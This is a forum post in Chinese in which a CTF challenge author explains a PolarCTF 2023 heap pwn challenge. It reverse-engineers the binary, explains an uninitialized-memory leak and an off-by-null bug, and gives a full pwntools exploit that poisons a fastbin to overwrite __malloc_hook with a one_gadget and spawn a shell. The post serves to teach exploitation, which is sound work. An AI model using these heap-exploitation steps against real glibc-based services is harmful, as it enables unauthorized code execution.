PolarCTF2023Fall : 夕阳下的舞者
本帖最后由 R00tkit 于 2023-9-26 14:22 编辑# 前言
这是我出的一道赛题,主要考察 off-by-null 和对glibc源码的理解。[靶场地址](https://www.polarctf.com/)
# 562+5Liq5Yiw
## 检查文件信息
`ELF64`位小端序程序,动态链接。
除了`FODRTIFY`保护,其余保护全开。
```bash
patchelf --replace-needed libc.so.6 ./libc-2.23.so ./562+5Liq5Yiw
patchelf --set-interpreter ./ld-2.23.so ./562+5Liq5Yiw
```
将环境修改为题目的运行环境。
## 逆向分析
```cpp
__int64 sub_A9D()
{
unsigned int v1; // BYREF
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
v1 = 0;
puts("\x1B[1;33m Welcome to Chicken farm!!! \x1B[0m");
puts("1.Add a Chicken.");
puts("2.Delete a Chicken.");
puts("3.Cook a chicken.");
puts("4.Chicken you are so beautiful.");
puts("5.EXIT.");
_isoc99_scanf("%d", &v1);
return v1;
}
```
`sub_A9D()`函数为程序菜单。
```cpp
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v4; //
sub_A50(a1, a2, a3);
malloc(1uLL);
puts(
"==:.........................................................................=..::::..=:::::::::::\n"
"===-:.......................................................................=..=-:=:.=:.:::::::::\n"
"=====-......................................................................=..-:.=:.=:..::::::::\n"
"=======:.........................................:..........................=..:--=..=:...:::::::\n"
"========-:......................................:-=++-......................=..=.:=..=:....::::::\n"
"==========-....................................:+**###+:....................=-::-----=:......::::\n"
"===========-...............................:--:.+######=....................=.-:-:-:.=:.......:::\n"
":-=========-.............................:+###*:*#+#+*=:...................:=.---:--.=:........::\n"
":::-=======-............................:######:####+-......................-::::.::.=:.........:\n"
"::::--=====-...........................:#++####=+####:.......................:--------..........:\n"
"::::::--===-...........................#++++++#*-#++##:..........................................\n"
"::::::::-==-..........................*++++++++#:+++++*..........................................\n"
"::::::::::--..........................+++++++++#++#++++-.........................................\n"
"::::::::::::..........................#++++++++#++#++++=.........................................\n"
":::::::::::::.........................=+++++++#+++##+++=.........................................\n"
"..:::::::::::::........................*+++++#++++++#++:.........................................\n"
"....:::::::::::::.......................#++++#=++++++#*..........................................\n"
"......:::::::::::::.....................++*##**#++++#=:..........................................\n"
"........:::::::::::::..................-==++++++*##*=:...........................................\n"
".........:::::::::::::................-======+==+++..............................................\n"
"...........:::::::::::::..............-===+++++++++-.............................................\n"
".............:::::::::::::...........:===++++++++++=:............................................\n"
"...............:::::::::::::.........===++*+-=***+++=............................................\n"
"................::::::::::::::......-=+++*=...-*++++=............................................\n"
"..................:::::::::::::....-==+++-.....=++++=:...........................................\n"
"....................:::::::::::::..==+++-.......+++++-...........................................\n"
"......................::::::::::::-=++*=........:*+++=...........................................\n"
"........................::::::::::=+++-..........:+*++-.........................................:\n"
".........................::::::::-==+=:...........:+===........................................::\n"
"::::.......................:::::-==++::::..........====:......................................:::\n"
"::::::::::::::::::::::::::::----===+=::::::::::::::-+==-:::::::::::::::::::::::::::::::::::::::--\n"
":::::::::::::::::::::::::::::::-==++:::::::::::::::-+===::::::::::::::::::::::::::::::::::::-----\n"
":::::::::::::::::::::::::::::::-=++-::::::::::::::::+===:::::::::::::::::::::::::::::::::::::----\n"
":::::::::::::::::::::::::::::::=++=:::::::::::::::::====:::::::::::::::::::::::::::::::::::::::--\n"
"::::::::::::::::::::::::::::::-+++::::::::::::::::::-+++::::::::::::::::::::::::::::::::::::::::-\n"
"::::::::::::::::::::::::::::::+#+:::::::::::::::::::::*#-::::::::::::::::::::::::::::::::::::::::\n"
"::::::::::::::::::::::::::::::##+:::::::::::::::::::::*#*::::::::::::::::::::::::::::::::::::::::\n"
"::::::::::::::::::::::::::::-*###:::::::::::::::::::::###+:::::::::::::::::::::::::::::::::::::::");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
v4 = sub_A9D();
if ( v4 != 1 )
break;
sub_BFC();
}
if ( v4 != 2 )
break;
sub_D28();
}
if ( v4 != 3 )
break;
sub_EB3();
}
if ( v4 != 4 )
break;
sub_1005();
}
return 0LL;
}
```
可以看到是一道菜单题。
```cpp
__int64 sub_BFC()
{
int v1; //
int *v2; //
v1 = sub_B34();
if ( v1 == -1 )
{
puts("\x1B[1;31m The chicken nest collapsed!!! \x1B[0m");
}
else
{
v2 = (int *)malloc(0x20uLL);
puts("\x1B[1;33m Give me the size of the chicken. \x1B[0m");
_isoc99_scanf("%d", v2);
*((_QWORD *)v2 + 1) = malloc(*v2);
*((_QWORD *)v2 + 3) = malloc(0x80uLL);
*((_QWORD *)v2 + 2) = malloc(0x20uLL);
puts("\x1B[1;33m Give me the name of the chicken. \x1B[0m");
sub_B74(*((_QWORD *)v2 + 1), (unsigned int)*v2);
puts("\x1B[1;33m Give the chicken a mark. \x1B[0m");
read(0, *((void **)v2 + 2), 0x20uLL);
dword_203060 = 1;
qword_203080 = v2;
}
return 0LL;
}
```
`sub_BFC()`函数创建了一个结构体,并且可以自定义`chicken`大小。数组`qword_203080`记录了每一个`chicken`,数组`dword_203060`记录了`qword_203060`的使用情况。可以向`mark`和`name`读入内容。并且未将`v2+3`处的内容初始化,可能存在泄露。
```cpp
struct Chicken {
int size;
void* name;
void* mark;
void* msg; // 后面分析得知,这里记载的菜名。
};
```
根据读入情况,不难分析出结构体的内容。
```cpp
__int64 sub_B34()
{
int i; //
for ( i = 0; i <= 7; ++i )
{
if ( !dword_203060 )
return (unsigned int)i;
}
return 0xFFFFFFFFLL;
}
```
`sub_B34()`函数用于查看`qword_203060`数组的使用情况。
```cpp
char *__fastcall sub_B74(char *a1, int a2)
{
char *result; // rax
read(0, a1, a2);
result = &a1;
*result &= ~1u;
return result;
}
```
`sub_B74()`函数置零操作存在`off-by-null`漏洞。
```cpp
__int64 sub_D28()
{
int v1; // BYREF
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
v1 = 0;
puts("\x1B[1;33m Which chicken will you kill? \x1B[0m");
_isoc99_scanf("%d", &v1);
if ( dword_203060 )
{
*(_DWORD *)qword_203080 = 0;
dword_203060 = 0;
free(*(void **)(qword_203080 + 8LL));
*(_QWORD *)(qword_203080 + 8LL) = 0LL;
free(*(void **)(qword_203080 + 16LL));
*(_QWORD *)(qword_203080 + 16LL) = 0LL;
free(*(void **)(qword_203080 + 24LL));
qword_203080 = 0LL;
}
else
{
puts("\x1B[1;31m The chicken has already been cooked. \x1B[0m");
}
return 0LL;
}
```
`sub_D28()`函数用于释放多块,没有问题。
```cpp
__int64 sub_EB3()
{
unsigned int v1; // BYREF
unsigned __int64 v2; //
v2 = __readfsqword(0x28u);
v1 = 0;
puts("\x1B[1;33m Which chicken will you cook? \x1B[0m");
_isoc99_scanf("%d", &v1);
if ( dword_203060 )
{
puts("Old name");
puts(*(const char **)(qword_203080 + 8LL));
puts("Give me new name.");
read(0, *(void **)(qword_203080 + 8LL), *(int *)qword_203080);
puts("New name");
puts(*(const char **)(qword_203080 + 8LL));
puts("Give me Cook name.");
sub_BC0(v1);
}
else
{
puts("\x1B[1;31m Ni gun ma i u. \x1B[0m");
}
return 0LL;
}
```
`sub_EB3()`函数用于改名字,并记录菜名。
```cpp
ssize_t __fastcall sub_BC0(int a1)
{
return read(0, *(void **)(qword_203080 + 24LL), 0x80uLL);
}
```
`sub_BC0()`函数用于读取菜名。
```cpp
__int64 sub_1005()
{
int i; //
for ( i = 0; i <= 7; ++i )
{
printf("The chicken %d\n", (unsigned int)i);
if ( dword_203060 )
{
puts("\x1B[1;33m Name \x1B[0m");
puts(*(const char **)(qword_203080 + 8LL));
puts("\x1B[1;33m ErrMsg \x1B[0m");
puts(*(const char **)(qword_203080 + 24LL));
puts("\x1B[1;33m Mark \x1B[0m");
puts(*(const char **)(qword_203080 + 16LL));
}
}
return 0LL;
}
```
`sub_1005()`函数用于打印所有信息。这里菜名被标记为`ErrMsg`。
## 漏洞利用
我们可以通过`sub_BFC()`函数未初始化的`ErrMsg(菜名)`和`sub_1005()`来进行信息泄露,得到`heap`和`libc`地址。然后利用`off-by-null`漏洞制造堆块重叠,向`fastbin`中写入`__malloc_hook`地址,然后篡改其为`one_gadget`来获取权限。
### 前置脚本
```python
from pwn import *
#context.log_level='debug'
context.log_level='info'
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'
is_local = False
is_debug = True
def connect():
global elf, libc, p
elf = ELF('./562+5Liq5Yiw')
libc = ELF('./libc-2.23.so')
if is_local:
p = process('./562+5Liq5Yiw')
else:
p = remote('IP', port)
def debug(gdbscript=""):
if is_debug:
gdb.attach(p, gdbscript=gdbscript)
pause()
else:
pass
def Add(size, data, mark):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'1')
p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
p.sendline(str(size).encode())
p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
p.send(data)
p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
p.send(mark)
def Delete(idx):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'2')
p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
p.sendline(str(idx).encode())
def Cook(idx, name, cook):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'3')
p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
p.sendline(str(idx).encode())
p.recvuntil(b"Give me new name.\n")
p.send(name)
p.recvuntil(b"Give me Cook name.\n")
p.send(cook)
def Black():
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'4')
```
定义了函数接口和前置操作。
### 泄露libc地址
```python
def get_libc():
global __malloc_hook, libc_base
Add(0x20, b'a'*20, b'b'*20)
Delete(0)
Add(0x20, b'c'*20, b'd'*20)
Black()
p.recvuntil(b"0\n")
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00'))-0x3c4b78
log.success("libc : 0x%x" % libc_base)
__malloc_hook = libc_base + libc.symbols["__malloc_hook"]
```
本题泄露利用`unsorted bin`中保存的`libc`地址与`libc`基址的固定偏移获取`libc`基址。因为结构体在初始化时并未初始化`ErrMsg`的值,并且其大小为`0x90`,我们申请一个结构体再将其释放,再次申请时可将其从`unsorted bin`中申请出来,然后可以通过打印函数打印`unsorted bin`中的内容。
在打印前下断点可以看到,此时`ErrMsg`中保存的值为`libc`地址。由于`libc`中的地址固定偏移不受`pie`和`aslr`保护影响,可以由此计算出`libc`基址。
### 泄露heap地址
```python
def get_heap():
global heap_addr
Add(0x80, b'e'*0x20, b'f'*0x10) # 1
Add(0x80, b'g'*0x20, b'h'*0x10) # 2
Add(0x80, b'i'*0x20, b'j'*0x10) # 3
Delete(1)
Delete(3)
Add(0x20, b'i'*0x20, b'j'*0x10) # 1
Cook(1, b'a'*0x10, b'cccccccn');
Black()
p.recvuntil(b"1\n")
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
p.recvuntil(b'cccccccn')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
log.success("heap : 0x%x" % heap_addr)
```
堆地址也可以通过`unsorted bin`的`bk`指针泄露,我们将两个不连续的`non-fast`大小的堆块放入`unsorted bin`中,由于`unsorted bin`采取先进先出模式,所以我们会将`结构体1`重新申请出来,它`ErrMsg`的`bk`位置便是`结构体3`的地址。然后通过改名函数将`ErrMsg`的前八个字节覆盖满,然后便可通过打印函数将堆地址泄露。
同样在打印前下一个断点,可以看到其`bk`位置为一个堆地址。
### 通过修改__malloc_hook为one_gadget地址get_shell
```python
def get_shell():
Add(0x80, b'i'*0x20, b'j'*0x10) # 3
Add(0x60, p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190), b'b'*0x10) # 4
Add(0x60, b'c'*0x10, b'd'*0x10) # 5
Add(0x60, b'e'*0x10, b'f'*0x10) # 6
Add(0x60, b'h'*0x10, b'j'*0x10) # 7
Delete(6)
Add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6
Delete(6)
Add(0x2D0, b'a'*0x2A0 + p64(0) + p64(0x71) + p64(__malloc_hook-0x23) + p64(0xdeadbeef), b'b'*0x10) # 6
Delete(0)
Delete(1)
Delete(2)
Add(0x60, b'a'*0x10, b'b'*0x10) # 0
one =
Add(0x60, b'a'*0x13+p64(libc_base+one), b'c'*0x10) # 1
Delete(4)
```
因为`Add`函数存在`off-by-null`漏洞,所以我们可以制造一个堆块重叠,将一个`fast chunk`包含在其中,这里需要注意的时,我们要绕过`unlink`检查,需要将伪造的`fake chunk`的`fd`和`bk`指向它本身。然后计算好偏移将`fast chunk`的`fd`位置改为`__malloc_hook`附近包含`__malloc_hook`大小的`fake chunk`的位置。然后将`__malloc_hook`改为`one_gadget`。此时四个`one_gadget`都无法打通,我们可以`free`一个错误的`chunk`来调用`malloc_printerr`函数,这个函数中存在其他的调用,最后会调用到`malloc`,然后便可调用`one_gadget`。
通过`find_fake_fast`来寻找`__malloc_hook`附近的`fake_chunk`。`fake_chunk`的`prev_size`距离`__malloc_hook`有0x23大小。所以填充`0x13`字节即可覆盖到目标地址。
我们可以通过`k`来查看函数调用栈,发现`free`报错后会在动态链接器调用`malloc`。
可以在源码中发现,由于`free`一个错误堆块调用了`malloc_printerr`函数,最后在`dl-error.c`调用了`malloc`函数。
## 完整exp
```python
from pwn import *
#context.log_level='debug'
context.log_level='info'
context.terminal=['tmux', 'splitw', '-h']
context.arch='amd64'
is_debug = False
is_local = False
def connect():
global elf, libc, p
elf = ELF('./562+5Liq5Yiw')
libc = ELF('./libc-2.23.so')
if is_local:
p = process('./562+5Liq5Yiw')
else:
p = remote('IP', port)
def debug(gdbscript=""):
if is_debug:
gdb.attach(p, gdbscript=gdbscript)
pause()
else:
pass
def Add(size, data, mark):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'1')
p.recvuntil(b"\x1B[1;33m Give me the size of the chicken. \x1B[0m\n")
p.sendline(str(size).encode())
p.recvuntil(b"\x1B[1;33m Give me the name of the chicken. \x1B[0m\n")
p.send(data)
p.recvuntil(b"\x1B[1;33m Give the chicken a mark. \x1B[0m\n")
p.send(mark)
def Delete(idx):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'2')
p.recvuntil(b"\x1B[1;33m Which chicken will you kill? \x1B[0m\n")
p.sendline(str(idx).encode())
def Cook(idx, name, cook):
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'3')
p.recvuntil(b"\x1B[1;33m Which chicken will you cook? \x1B[0m\n")
p.sendline(str(idx).encode())
p.recvuntil(b"Give me new name.\n")
p.send(name)
p.recvuntil(b"Give me Cook name.\n")
p.send(cook)
def Black():
p.recvuntil(b"5.EXIT.\n")
p.sendline(b'4')
def get_libc():
global __malloc_hook, libc_base
Add(0x20, b'a'*20, b'b'*20) # 0 errmsg_0x90->unsorted
Delete(0) # errmsg_0x90->unsorted
Add(0x20, b'c'*20, b'd'*20) # 0 # unsorted->errmsg_0x90
Black()
#debug() # db1
p.recvuntil(b"0\n")
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x3c4b78
log.success("libc : 0x%x" % libc_base)
__malloc_hook = libc_base + libc.symbols["__malloc_hook"]
sleep(0.5)
def get_heap():
global heap_addr
Add(0x80, b'e'*0x20, b'f'*0x10) # 1
Add(0x80, b'g'*0x20, b'h'*0x10) # 2
Add(0x80, b'i'*0x20, b'j'*0x10) # 3
Delete(1)
Delete(3)
#debug() # db2
Add(0x20, b'i'*0x20, b'j'*0x10) # 1
Cook(1, b'a'*0x10, b'cccccccn')
Black()
#debug() # db3
p.recvuntil(b"1\n")
p.recvuntil(b"\x1B[1;33m ErrMsg \x1B[0m\n")
p.recvuntil(b'cccccccn')
heap_addr = u64(p.recvline()[:-1].ljust(8, b'\x00'))
log.success("heap : 0x%x" % heap_addr)
sleep(0.5)
def get_shell():
Add(0x80, b'i'*0x20, b'j'*0x10) # 3
Add(0x60, p64(0) + p64(0x320) + p64(heap_addr+0x190) + p64(heap_addr+0x190), b'b'*0x10) # 4 first 0x71
Add(0x60, b'c'*0x10, b'd'*0x10) # 5
Add(0x60, b'e'*0x10, b'f'*0x10) # 6
Add(0x60, b'h'*0x10, b'j'*0x10) # 7
#debug() # db4
Delete(6)
#debug() # db5
Add(0x68, b'k'*0x60 + p64(0x320), b'j'*0x10) # 6 off-by-null
#debug() # db6
Delete(6)
#debug() # db7
Add(0x2D0, b'a'*0x2A0 + p64(0) + p64(0x71) + p64(__malloc_hook-0x23) + p64(0xdeadbeef), b'b'*0x10) # 6
#debug() # db8
Delete(0)
Delete(1)
Delete(2)
Add(0x60, b'a'*0x10, b'b'*0x10) # 0
one =
Add(0x60, b'a'*0x13+p64(libc_base+one), b'c'*0x10) # 1
#gdb.attach(p, 'b *_dl_signal_error')
Delete(4)
#pause()
sleep(0.5)
def pwn():
connect()
get_libc()
get_heap()
get_shell()
p.interactive()
if __name__ == '__main__':
pwn()
```
闻鸡起舞啊 这是 小黑子,露出鸡脚了吧 正己 发表于 2023-9-26 19:18
小黑子,露出鸡脚了吧
我是真爱粉{:1_909:} 这个舞者,可以穿背带裤吗? 这个舞者,可以穿背带裤吗? 这题好难 tomliu 发表于 2023-9-27 13:42
这题好难
可以试试改 __malloc_hook 为 system 然后 malloc("/bin/sh\x00") 试试 这个非常好,感谢分享 感谢分享{:1_893:}
页:
[1]
2